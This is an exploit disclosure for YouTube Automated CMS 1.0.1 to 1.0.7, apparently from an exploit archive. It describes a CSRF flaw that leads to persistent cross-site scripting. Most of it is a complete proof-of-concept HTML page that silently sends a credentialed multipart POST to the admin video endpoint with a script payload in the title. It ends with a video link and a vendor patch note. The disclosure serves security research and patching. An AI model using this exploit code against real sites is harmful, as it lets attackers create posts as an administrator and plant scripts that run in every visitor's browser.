98 lines
No EOL
4.1 KiB
HTML
98 lines
No EOL
4.1 KiB
HTML
# Exploit Title: YouTube Automated CMS 1.0.1 / 1.0.7 - CSRF to Persistent XSS
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# Date: 14 October 2016
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# Exploit Author: Arbin Godar
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# Website : ArbinGodar.com
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# Software Link: https://codecanyon.net/item/youtube-automated-cms/12021939
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# Version: 1.0.1 to 1.0.7
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Description:
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An Attackers are able to execute js and perform CSRF on web
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application using YouTube Automated CMS which allow an attacker to
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create a post when an authenticated user/admin browses a special
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crafted web page. All the process was also possible without any
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authenticated user/admin for more info watch the below PoC Video.
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The title parameter was not filtering special characters mean
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vulnerable to XSS. So, now by creating CSRF exploit code for posting
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an article with XSS alert JS payload as title of post. Now if the
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attacker is able to perform CSRF attack sucessfully then XSS will be
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triggered when someone opens the site using YouTube Automated CMS.
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CSRF Exploit Code:
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<html>
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<body>
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<title>[Youtube Automated CMS] CSRF to Persistent XSS</title>
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<script>
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function submitRequest()
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{
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var xhr = new XMLHttpRequest();
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xhr.open("POST", "http://victim.com/admin/videos.php?case=add&youtube_video_url=https://sophosnews.files.wordpress.com/2016/02/anonymous.jpg", true);
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xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
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xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
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xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------1681718590736");
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xhr.withCredentials = true;
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var body = "-----------------------------1681718590736\r\n" +
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"Content-Disposition: form-data; name=\"title\"\r\n" +
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"\r\n" +
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"\"\x3e\x3cscript\x3ealert(/XSSed-By-Arbin/)\x3c/script\x3e\r\n" +
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"-----------------------------1681718590736\r\n" +
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"Content-Disposition: form-data; name=\"details\"\r\n" +
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"\r\n" +
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"\r\n" +
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"-----------------------------1681718590736\r\n" +
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"Content-Disposition: form-data; name=\"category_id\"\r\n" +
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"\r\n" +
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"1\r\n" +
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"-----------------------------1681718590736\r\n" +
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"Content-Disposition: form-data; name=\"thumbnail\"; filename=\"\"\r\n" +
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"Content-Type: application/octet-stream\r\n" +
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"\r\n" +
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"\r\n" +
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"-----------------------------1681718590736\r\n" +
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"Content-Disposition: form-data; name=\"published\"\r\n" +
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"\r\n" +
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"1\r\n" +
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"-----------------------------1681718590736\r\n" +
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"Content-Disposition: form-data; name=\"duration\"\r\n" +
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"\r\n" +
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"70\r\n" +
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"-----------------------------1681718590736\r\n" +
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"Content-Disposition: form-data; name=\"image\"\r\n" +
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"\r\n" +
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"https://sophosnews.files.wordpress.com/2016/02/anonymous.jpg\r\n" +
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"-----------------------------1681718590736\r\n" +
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"Content-Disposition: form-data; name=\"submit\"\r\n" +
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"\r\n" +
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"\r\n" +
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"-----------------------------1681718590736--\r\n";
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var aBody = new Uint8Array(body.length);
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for (var i = 0; i < aBody.length; i++)
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aBody[i] = body.charCodeAt(i);
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xhr.send(new Blob([aBody]));
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}
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</script>
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<br><br><br>
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<center>
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<h2><font color="red">[Youtube Automated CMS] CSRF to Persistent XSS by Arbin</font></h2>
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<form action="#">
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<input type="button" value="Submit request" onclick="submitRequest();" />
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</form>
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</center>
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</body>
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</html>
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PoC Video: https://youtu.be/cCtThSquNSk
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Vendor Shouted Urgent Update:
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http://wpsup.com/products/youtube-automated-cms/urgent-update-1-0-8-fix-security-bugs/
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Fix/Patch: Update to latest version.
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----------------------------------------------------------------------------------------------------------------------
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Regards,
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Arbin Godar
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https://twitter.com/arbingodar |